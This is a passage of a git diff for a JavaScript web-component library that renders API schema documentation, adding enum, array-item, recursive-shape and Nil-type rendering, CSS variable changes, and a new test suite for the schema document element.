    ${this[propertyDescriptionTemplate](schema)} diff --git a/src/elements/SchemaCommonTemplates.js b/src/elements/SchemaCommonTemplates.js index 7dc8fba..7bcc76d 100644 --- a/src/elements/SchemaCommonTemplates.js +++ b/src/elements/SchemaCommonTemplates.js @@ -11,6 +11,8 @@ import '../../api-annotation-document.js'; /** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiFileShape} ApiFileShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDataNodeUnion} ApiDataNodeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiRecursiveShape} ApiRecursiveShape */ /** * @param {string} label The label to render. @@ -57,13 +59,29 @@ function pillsAndTable(pills, items) { `; } +/** + * @param {ApiDataNodeUnion[]} values + * @returns {TemplateResult} + */ +function enumValuesTemplate(values) { + return html` +
    +
    Enum:
    +
      + ${values.map((item) => html`
    • ${/** @type ApiScalarNode */ (item).value}
    • `)} +
    +
    + `; +} + /** * @param {string} name The name of the parameter * @param {boolean=} required Whether the parameter is required * @param {boolean=} deprecated Whether the parameter is deprecated + * @param {string=} paramName When set it renders the parameter name. Should be used when `name` is a `display name`. * @return {TemplateResult} The template for the property name value. */ -export function paramNameTemplate(name, required=false, deprecated=false) { +export function paramNameTemplate(name, required=false, deprecated=false, paramName) { const label = String(name||''); const classes = { 'param-name': true, @@ -72,8 +90,9 @@ export function paramNameTemplate(name, required=false, deprecated=false) { }; return html`
    - ${label} + ${label}
    + ${paramName ? html`${paramName}` : ''} `; } @@ -177,14 +196,7 @@ export function scalarDetailsTemplate(schema, noDetail) { pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); } if (values.length) { - result[result.length] = html` -
    -
    Enum:
    -
      - ${values.map((item) => html`
    • ${/** @type ApiScalarNode */ (item).value}
    • `)} -
    -
    - `; + result[result.length] = enumValuesTemplate(values); } if (examples.length) { result[result.length] = html` @@ -272,22 +284,46 @@ function nodeDetailsTemplate(schema) { * @return {TemplateResult|string} The template for the details of the Array schema */ function arrayDetailsTemplate(schema) { - const { readOnly, writeOnly, uniqueItems, defaultValueStr, deprecated, customDomainProperties } = schema; + const { readOnly, writeOnly, uniqueItems, defaultValueStr, deprecated, customDomainProperties, items } = schema; const result = []; const pills = []; if (defaultValueStr) { result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } else if (items && items.defaultValueStr) { + result.push(tablePropertyTemplate('Default value', items.defaultValueStr)); } if (uniqueItems) { result.push(tablePropertyTemplate('Unique items', 'true')); } - if (readOnly) { + if (items && items.types && items.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + const scalar = /** @type ApiScalarShape */ (schema); + if (scalar.format) { + result.push(tablePropertyTemplate('Format', scalar.format)); + } + if (scalar.pattern) { + result.push(tablePropertyTemplate('Pattern', scalar.pattern)); + } + if (typeof scalar.minimum === 'number') { + result.push(tablePropertyTemplate('Minimum', String(scalar.minimum))); + } + if (typeof scalar.maximum === 'number') { + result.push(tablePropertyTemplate('Maximum', String(scalar.maximum))); + } + if (typeof scalar.minLength === 'number') { + result.push(tablePropertyTemplate('Minimum length', String(scalar.minLength))); + } + if (typeof scalar.maxLength === 'number') { + result.push(tablePropertyTemplate('Maximum length', String(scalar.maxLength))); + } + } + + if (readOnly || (items && items.readOnly)) { pills.push(pillTemplate('Read only', 'This property is read only.')); } - if (writeOnly) { + if (writeOnly || (items && items.writeOnly)) { pills.push(pillTemplate('Write only', 'This property is write only.')); } - if (deprecated) { + if (deprecated || (items && items.deprecated)) { pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); } // if (examples.length) { @@ -300,6 +336,48 @@ function arrayDetailsTemplate(schema) { //
    // `; // } + if (items && items.values.length) { + result[result.length] = enumValuesTemplate(items.values); + } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiRecursiveShape} schema + * @return {TemplateResult|string} The template for the recursive shape. + */ +function recursiveDetailsTemplate(schema) { + const { readOnly, writeOnly, defaultValueStr, deprecated, customDomainProperties, } = schema; + const result = []; + const pills = []; + pills.push(pillTemplate('Recursive', 'This property is is recursive.', ['warning'])); + if (defaultValueStr) { + result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { result[result.length] = html``; } @@ -366,9 +444,10 @@ export function unionDetailsTemplate(schema) { /** * @param {ApiFileShape} schema + * @param {boolean=} noDetail When true it always render all properties, without the detail element. * @return {TemplateResult|string} The template for the details of the File schema */ -export function fileDetailsTemplate(schema) { +export function fileDetailsTemplate(schema, noDetail) { const { customDomainProperties=[], values=[], defaultValueStr, format, maxLength, maximum, minLength, minimum, multipleOf, pattern, readOnly, writeOnly, fileTypes, deprecated } = schema; const result = []; const pills = []; @@ -409,14 +488,7 @@ export function fileDetailsTemplate(schema) { result.push(tablePropertyTemplate('Multiple of', String(multipleOf))); } if (values.length) { - result[result.length] = html` -
    -
    Enum:
    -
      - ${values.map((item) => html`
    • ${/** @type ApiScalarNode */ (item).value}
    • `)} -
    -
    - `; + result[result.length] = enumValuesTemplate(values); } // if (examples.length) { // result[result.length] = html` @@ -431,9 +503,11 @@ export function fileDetailsTemplate(schema) { if (Array.isArray(customDomainProperties) && customDomainProperties.length) { result[result.length] = html``; } + if (noDetail && result.length) { + return pillsAndTable(pills, result); + } if (result.length && result.length < 3) { return pillsAndTable(pills, result); - // return html`${result}`; } if (result.length) { return html` @@ -469,5 +543,8 @@ export function detailsTemplate(schema) { if (types.includes(ns.aml.vocabularies.shapes.FileShape)) { return fileDetailsTemplate(/** @type ApiFileShape */ (schema)); } + if (types.includes(ns.aml.vocabularies.shapes.RecursiveShape)) { + return recursiveDetailsTemplate(/** @type ApiRecursiveShape */ (schema)); + } return '' } diff --git a/src/elements/styles/ApiSchema.js b/src/elements/styles/ApiSchema.js index be61581..cf2e3cf 100644 --- a/src/elements/styles/ApiSchema.js +++ b/src/elements/styles/ApiSchema.js @@ -21,4 +21,9 @@ export default css` font-size: var(--schema-title-low-emphasis-size, 1.1rem); font-weight: var(--schema-title-low-emphasis-weight, 400); } + +.schema-title .type-name { + margin-left: 8px; + font-size: var(--schema-title-type-name-size, 22px); +} `; diff --git a/src/elements/styles/SchemaCommon.js b/src/elements/styles/SchemaCommon.js index ff79982..34d9768 100644 --- a/src/elements/styles/SchemaCommon.js +++ b/src/elements/styles/SchemaCommon.js @@ -156,11 +156,15 @@ export default css` } .param-name { - font-weight: 500; - font-size: 1.2rem; word-break: break-all; } + .param-name .param-label { + font-weight: var(--property-name-font-weight, var(--api-type-document-property-name-font-weight, 500)); + color: var(--property-name-color, var(--api-type-document-property-color, inherit)); + font-size: var(--property-name-font-size, var(--api-type-document-property-name-font-size, 1.2rem)); + } + .param-name.required::after { content: '*'; margin-left: -4px; @@ -170,6 +174,10 @@ export default css` text-decoration: line-through; } + .param-name-secondary { + margin-left: 8px; + } + .headline-separator { display: inline-block; width: 1px; @@ -179,7 +187,7 @@ export default css` } .param-type { - margin: 12px 0; + margin: 12px 12px 12px 0; } .schema-property-item { @@ -189,7 +197,7 @@ export default css` } .schema-property-label { - font-weight: 500; + font-weight: var(--property-schema-property-label-font-weight, var(--api-type-document-property-range-attribute-label-font-weight, 500)); margin-right: 8px; } @@ -288,10 +296,11 @@ export default css` } .pill { - padding: 2px 12px; - background-color: var(--pill-background-color, #e5e5e5); - color: var(--pill-color, var(--primary-text-color, #000)); - border-radius: 12px; + background-color: var(--pill-background-color, var(--api-type-document-trait-background-color, #e5e5e5)); + color: var(--pill-color, var(--api-type-document-trait-color, var(--primary-text-color, #000))); + border-radius: var(--pill-border-radius, var(--api-type-document-trait-border-radius, 12px)); + font-size: var(--pill-font-size, var(--api-type-document-trait-font-size, inherit)); + padding: var(--pill-padding, var(--api-type-document-trait-padding, 2px 12px)); margin: 4px; } diff --git a/src/lib/Utils.js b/src/lib/Utils.js index 786881a..500bc5c 100644 --- a/src/lib/Utils.js +++ b/src/lib/Utils.js @@ -8,6 +8,7 @@ import { ns } from '@api-components/amf-helper-mixin'; /** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ /** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ /** @typedef {import('../types').OperationParameter} OperationParameter */ /** @@ -47,6 +48,9 @@ export function readPropertyTypeLabel(schema, isArray=false) { return undefined; } const { types } = schema; + if (types.includes(ns.aml.vocabularies.shapes.NilShape)) { + return 'Nil'; + } if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { const scalar = /** @type ApiScalarShape */ (schema); return schemaToType(scalar.dataType || ''); diff --git a/test/elements/ApiSchemaDocumentElement.test.js b/test/elements/ApiSchemaDocumentElement.test.js new file mode 100644 index 0000000..596004a --- /dev/null +++ b/test/elements/ApiSchemaDocumentElement.test.js @@ -0,0 +1,928 @@ +import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing'; +import { AmfLoader } from '../AmfLoader.js'; +import { + schemaValue, + expandedValue, + selectedUnionsValue, +} from '../../src/elements/ApiSchemaDocumentElement.js'; +import '../../api-schema-document.js'; + +/** @typedef {import('../../').ApiSchemaDocumentElement} ApiSchemaDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioButtonElement} AnypointRadioButtonElement */ + +describe('ApiSchemaDocumentElement', () => { + const loader = new AmfLoader(); + const JsonType = 'application/json'; + + /** + * @param {AmfDocument} amf + * @param {DomainElement=} shape + * @param {string=} mime + * @returns {Promise} + */ + async function basicFixture(amf, shape, mime) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiSchemaDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {DomainElement=} shape + * @param {string=} mime + * @returns {Promise} + */ + async function examplesFixture(amf, shape, mime) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiSchemaDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {ApiShapeUnion} shape + * @param {string=} mime + * @returns {Promise} + */ + async function schemaFixture(amf, shape, mime) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiSchemaDocumentElement */ (element); + } + + [false, true].forEach((compact) => { + describe(compact ? 'Compact model' : 'Full model', () => { + describe('a11y', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + element = await basicFixture(model); + }); + + it('is accessible for scalar type', async () => { + const data = loader.lookupShape(model, 'ScalarType'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + + it('is accessible for NilShape type', async () => { + const data = loader.lookupShape(model, 'NilType'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + + it('is accessible for AnyShape type', async () => { + const data = loader.lookupShape(model, 'AnyType'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + + it('is accessible for UnionShape type', async () => { + const data = loader.lookupShape(model, 'Unionable'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + + it('is accessible for ArrayShape type', async () => { + const data = loader.lookupShape(model, 'ArrayType'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + + it('is accessible for ArrayShape type', async () => { + const data = loader.lookupShape(model, 'ComplexRecursive'); + element.domainModel = data; + element.processGraph(); + await nextFrame(); + await assert.isAccessible(element); + }); + }); + + describe('processGraph()', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'ScalarType'); + element = await basicFixture(model, data); + }); + + it('sets the [schemaValue]', async () => { + element.processGraph(); + assert.ok(element[schemaValue], 'has the value'); + assert.equal(element[schemaValue].name, 'ScalarType', 'has the processed shape'); + }); + + it('sets the [expandedValue]', async () => { + element[expandedValue] = ['test']; + element.processGraph(); + assert.deepEqual(element[expandedValue], []); + }); + + it('sets the [selectedUnionsValue]', async () => { + element[selectedUnionsValue] = { a: 'test' }; + element.processGraph(); + assert.deepEqual(element[selectedUnionsValue], {}); + }); + + it('computes the schema from the domainId property', () => { + const id = element.domainModel['@id']; + element[schemaValue] = undefined; + element.domainId = id; + element.processGraph(); + assert.ok(element[schemaValue], 'has the value'); + assert.equal(element[schemaValue].name, 'ScalarType', 'has the processed shape'); + }); + }); + + describe('Schema rendering', () => { + describe('Scalar type (RAML)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + + it('renders a scalar with properties', async () => { + const data = loader.lookupShape(model, 'DescribedScalar'); + element = await basicFixture(model, data); + const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label'); + assert.equal(titleLabel.textContent.trim(), 'DescribedScalar', 'has the schema title'); + const markdown = element.shadowRoot.querySelector('.api-description arc-marked'); + assert.ok(markdown, 'has the markdown processor element'); + assert.typeOf(/** @type any */(markdown).markdown, 'string', 'passes the markdown property to the markdown renderer'); + const type = element.shadowRoot.querySelector('.param-type'); + assert.equal(type.textContent.trim(), 'String', 'renders the schema type'); + const props = element.shadowRoot.querySelectorAll('.schema-property-item'); + assert.lengthOf(props, 2, 'has two additional properties'); + }); + + it('renders a simple scalar without properties', async () => { + const data = loader.lookupShape(model, 'BooleanType'); + element = await basicFixture(model, data); + const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label'); + assert.equal(titleLabel.textContent.trim(), 'BooleanType', 'has the schema title'); + const markdown = element.shadowRoot.querySelector('.api-description arc-marked'); + assert.notOk(markdown, 'has no markdown processor'); + const type = element.shadowRoot.querySelector('.param-type'); + assert.equal(type.textContent.trim(), 'Boolean', 'renders the schema type'); + const props = element.shadowRoot.querySelectorAll('.schema-property-item'); + assert.lengthOf(props, 0, 'has no additional properties'); + }); + }); + + describe('Nil type (RAML)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + + it('renders the NIL type description', async () => { + const data = loader.lookupShape(model, 'NilType'); + element = await basicFixture(model, data); + const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label'); + assert.equal(titleLabel.textContent.trim(), 'NilType', 'has the schema title'); + const markdown = element.shadowRoot.querySelector('.api-description arc-marked'); + assert.notOk(markdown, 'has no markdown processor element'); + const info = element.shadowRoot.querySelector('.nil-info'); + assert.ok(info, 'has the info node'); + assert.equal(info.textContent.trim(), 'The value of this property is nil.', 'renders the info content'); + }); + }); + + describe('Object type (RAML)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + + it('renders the base properties', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label'); + assert.equal(titleLabel.textContent.trim(), 'A person resource', 'has the schema title'); + const markdown = element.shadowRoot.querySelector('.api-description arc-marked'); + assert.ok(markdown, 'has the markdown processor element'); + assert.typeOf(/** @type any */(markdown).markdown, 'string', 'passes the markdown property to the markdown renderer'); + const info = element.shadowRoot.querySelector('.examples'); + assert.ok(info, 'has the examples'); + const params = element.shadowRoot.querySelector('.params-section'); + assert.ok(params, 'has the params list'); + }); + + it('renders the example', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + + const examples = element.shadowRoot.querySelectorAll('.schema-example'); + assert.lengthOf(examples, 1, 'has a single example'); + + const detail = /** @type HTMLDetailsElement */ (examples[0]); + assert.isFalse(detail.open, 'the example is not opened by default'); + + const code = detail.querySelector('.code-value'); + assert.ok(code, 'has the code value'); + + assert.isNotEmpty(code.textContent.trim(), 'code has a value'); + }); + + it('renders object properties', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + + const properties = element.shadowRoot.querySelectorAll('.property-container'); + // this is to be changed if the # of properties in the AppPerson type change. + assert.lengthOf(properties, 16, 'has 16 properties'); + }); + + it('renders the name and the display name', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + + const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]'); + const name = property.querySelector('.param-name'); + assert.equal(name.textContent.trim(), 'Some example', 'renders the display name'); + const secondary = property.querySelector('.param-name-secondary'); + assert.equal(secondary.textContent.trim(), 'favouriteTime', 'renders the property name'); + }); + + it('renders a required property', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + + const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]'); + const name = property.querySelector('.param-name'); + assert.isTrue(name.classList.contains('required'), 'the title has the required CSS class name'); + + const { content } = getComputedStyle(name, '::after'); + assert.equal(content, '"*"', 'renders the asterisk after the name'); + + const pill = property.querySelector('.property-headline .param-pill'); + assert.ok(pill, 'renders the "required" pill'); + assert.equal(pill.textContent.trim(), 'Required', 'the pill has the label'); + }); + + it('renders a property type', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + + const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]'); + const type = property.querySelector('.param-type'); + + assert.ok(type, 'has the type element'); + assert.equal(type.textContent.trim(), 'Time', 'the type has the value'); + }); + + it('rendering complex properties', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data); + + const complexProperty = element.shadowRoot.querySelector('.property-container.complex'); + assert.ok(complexProperty, 'has a complex property'); + + const next = complexProperty.nextElementSibling; + assert.isFalse(next.classList.contains('shape-children'), 'has no children'); + + const decorator = complexProperty.querySelector('.property-decorator'); + assert.ok(decorator, 'has the decorator element'); + assert.isTrue(decorator.classList.contains('object'), 'has the object decorator'); + }); + + it('toggling complex properties', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data); + + const complexProperty = element.shadowRoot.querySelector('.property-container.complex'); + const decorator = /** @type HTMLElement */ (complexProperty.querySelector('.property-decorator')); + decorator.click(); + + await nextFrame(); + + const next = complexProperty.nextElementSibling; + assert.isTrue(next.classList.contains('shape-children'), 'renders the children'); + + assert.deepEqual(element[expandedValue], [decorator.dataset.id], 'updated the [expandedValue]'); + }); + + it('renders a closed detail with a property properties', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteNumber"]'); + const detail = /** @type HTMLDetailsElement */ (property.querySelector('.property-details')); + + assert.isFalse(detail.open, 'the properties are not opened by default'); + + const properties = detail.querySelectorAll('.schema-property-item'); + assert.lengthOf(properties, 4, 'the detail has the properties'); + + assert.equal(properties[0].textContent.trim(), 'Minimum:\n 0', 'has the minimum property'); + assert.equal(properties[1].textContent.trim(), 'Maximum:\n 9999', 'has the maximum property'); + assert.equal(properties[2].textContent.trim(), 'Multiple of:\n 5', 'has the multiple property'); + assert.equal(properties[3].textContent.trim(), 'Examples:\n \n 25', 'has the example'); + }); + + it('renders properties inline when less than 3', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="name"]'); + const detail = /** @type HTMLDetailsElement */ (property.querySelector('.property-details')); + assert.notOk(detail, 'has no detail element'); + + const properties = property.querySelectorAll('.details-column > .param-properties > .schema-property-item'); + assert.lengthOf(properties, 2, 'has the properties'); + }); + + it('renders the description', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]'); + const desc = property.querySelector('.api-description'); + assert.ok(desc, 'has the property description'); + }); + + it('renders array properties', async () => { + const data = loader.lookupShape(model, 'PropertyArray'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="data"]'); + + const type = property.querySelector('.param-type'); + assert.equal(type.textContent.trim(), 'List of Product', 'renders the schema type'); + }); + + it('renders array property that is an complex', async () => { + const data = loader.lookupShape(model, 'PropertyArray'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="complex"]'); + + const type = property.querySelector('.param-type'); + assert.equal(type.textContent.trim(), 'List of String or Number or Product', 'renders the schema type'); + }); + + it('renders a union property', async () => { + const data = loader.lookupShape(model, 'PropertyArray'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="complex"]'); + const decorator = /** @type HTMLElement */ (property.querySelector('.property-decorator')); + decorator.click(); + + await nextFrame(); + + const children = element.shadowRoot.querySelector('.shape-children'); + assert.ok(children, 'has children'); + + const selector = children.querySelector('.union-options'); + assert.ok(selector, 'has union selector'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 3, 'has all 3 options'); + + const defaultRendered = children.querySelector('.union-container .scalar-property'); + assert.ok(defaultRendered, 'has the rendered property'); + assert.equal(defaultRendered.querySelector('.param-type').textContent.trim(), 'String', 'has the scalar type'); + + /** @type HTMLElement */ (buttons[2]).click(); + + await nextFrame(); + + const objectRendered = children.querySelector('.union-container .params-section'); + assert.ok(objectRendered, 'renders selected union object'); + }); + }); + + describe('Union type (RAML)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'Unionable'); + element = await basicFixture(model, data, JsonType); + }); + + it('renders the union selector', () => { + const container = element.shadowRoot.querySelector(':host > .union-container'); + assert.ok(container, 'has the selector\'s container'); + + const selector = container.querySelector('.union-options'); + assert.ok(selector, 'has union selector'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 2, 'has all 2 options'); + + assert.equal(buttons[0].textContent.trim(), 'ErrorResource', 'has the ErrorResource option'); + assert.equal(buttons[1].textContent.trim(), 'Product', 'has the Product option'); + }); + + it('renders union default selection', () => { + const container = element.shadowRoot.querySelector(':host > .union-container'); + assert.ok(container, 'has the selector\'s container'); + + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button')); + assert.isTrue(button.checked, 'the first union item is checked'); + + const properties = container.querySelectorAll('.params-section .schema-property-item'); + assert.lengthOf(properties, 2, 'has all properties'); + }); + + it('changes the selection', async () => { + const container = element.shadowRoot.querySelector(':host > .union-container'); + + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button[data-member="Product"]')); + button.click(); + + await nextFrame(); + + const properties = container.querySelectorAll('.params-section .schema-property-item'); + assert.lengthOf(properties, 7, 'renders properties for another member'); + }); + + it('renders the default example', async () => { + element.forceExamples = true; + element.processGraph(); + + await nextFrame(); + + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data, { + "error": true, + "message": "" + }); + }); + + it('renders the example for the changed member', async () => { + element.forceExamples = true; + element.processGraph(); + + const container = element.shadowRoot.querySelector(':host > .union-container'); + + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button[data-member="Product"]')); + button.click(); + + await nextFrame(); + + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data, { + "etag": "", + "upc": "042100005264", + "name": "Acme product - menthol flavor, 500 ml.", + "id": "", + "unit": "ml", + "available": true, + "quantity": 500 + }); + }); + }); + + describe('Union property (RAML)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + /** @type HTMLElement */ + let container; + beforeEach(async () => { + const data = loader.lookupShape(model, 'PropertyArray'); + element = await basicFixture(model, data, JsonType); + + const property = element.shadowRoot.querySelector('.property-container[data-name="complex"]'); + const decorator = /** @type HTMLElement */ (property.querySelector('.property-decorator')); + decorator.click(); + + await nextFrame(); + + container = /** @type HTMLElement */ (property.nextElementSibling); + }); + + it('renders the union selector', () => { + const selector = container.querySelector('.union-options'); + assert.ok(selector, 'has union selector'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 3, 'has all 2 options'); + + assert.equal(buttons[0].textContent.trim(), 'String', 'has the ErrorResource option'); + assert.equal(buttons[1].textContent.trim(), 'Number', 'has the Product option'); + assert.equal(buttons[2].textContent.trim(), 'Product', 'has the Product option'); + }); + + it('renders union default selection', () => { + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button')); + assert.isTrue(button.checked, 'the first union item is checked'); + + const node = container.querySelector('.params-section .scalar-property'); + assert.ok(node, 'has the scalar property'); + }); + + it('changes the selection', async () => { + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button[data-member="Product"]')); + button.click(); + + await nextFrame(); + + const properties = container.querySelectorAll('.params-section .schema-property-item'); + assert.lengthOf(properties, 7, 'renders properties for another member'); + }); + + it('renders the default example', async () => { + element.forceExamples = true; + element.processGraph(); + + await nextFrame(); + + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data.complex, ['']); + }); + + it('renders the example for the changed member', async () => { + element.forceExamples = true; + element.processGraph(); + + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button[data-member="Product"]')); + button.click(); + + await nextFrame(); + + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data.complex, [{ + "id": "we2322-4f4f4f-f4f4ff-f4f4ff4", + "name": "Acme Product", + "quantity": 200, + "unit": "ml", + "upc": "123456789101", + "available": true, + "etag": "Wsd3deef3rgrgf4r" + }]); + }); + }); + + describe('Array type', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'ArrayType'); + element = await examplesFixture(model, data, JsonType); + }); + + it('renders array example', () => { + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.typeOf(data, 'array'); + const [item] = data; + + assert.deepEqual(item, { + "url": "https://domain.com/profile/pawel.psztyc/image", + "thumb": "https://domain.com/profile/pawel.psztyc/image/thumb" + }); + }); + + it('renders "items" title', () => { + const label = element.shadowRoot.querySelector(':host > .params-section .schema-property-label'); + /* + * This looks like some issue with AMF graph model as this should render "image" and not "imageProperty". + * However in the graph model it is in fact "imageProperty". This may be related to another type having + * an "imageProperty" which references the "Image" type. I suspect for some kind of optimisation + * these type is referenced only once but the name changed after referencing it again. + */ + assert.equal(label.textContent.trim(), 'List of imageProperty'); + }); + + it('renders "items" properties', () => { + const properties = element.shadowRoot.querySelectorAll(':host > .params-section > .params-section .property-container'); + assert.lengthOf(properties, 2, 'has 2 properties'); + + // here I am testing only one property as this is recursive. + const url = properties[0]; + assert.equal(url.querySelector('.param-label').textContent.trim(), 'url'); + assert.equal(url.querySelector('.param-type').textContent.trim(), 'String'); + assert.equal(url.querySelector('.param-pill').textContent.trim(), 'Required'); + assert.ok(url.querySelector('.api-description arc-marked'), 'Renders the description'); + assert.equal(url.querySelector('.details-column').textContent.trim(), '', 'has no properties'); + }); + }); + + describe('And type (OAS)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'Petstore-v2'); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'Pet'); + element = await examplesFixture(model, data, JsonType); + }); + + it('renders a group for each member', () => { + const sections = element.shadowRoot.querySelectorAll('.and-union-member'); + assert.lengthOf(sections, 3, 'has 3 members rendered'); + }); + + it('does not render inheritance info for inline items', () => { + const sections = element.shadowRoot.querySelectorAll('.and-union-member'); + const inline = sections[0]; + assert.notOk(inline.querySelector('.inheritance-label')); + }); + + it('renders inheritance info for members', () => { + const sections = element.shadowRoot.querySelectorAll('.and-union-member'); + const newPet = sections[1]; + const error = sections[2]; + assert.equal(newPet.querySelector('.inheritance-label').textContent.trim(), 'Properties inherited from NewPet.'); + assert.equal(error.querySelector('.inheritance-label').textContent.trim(), 'Properties inherited from Error.'); + }); + + it('renders combined example', () => { + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = 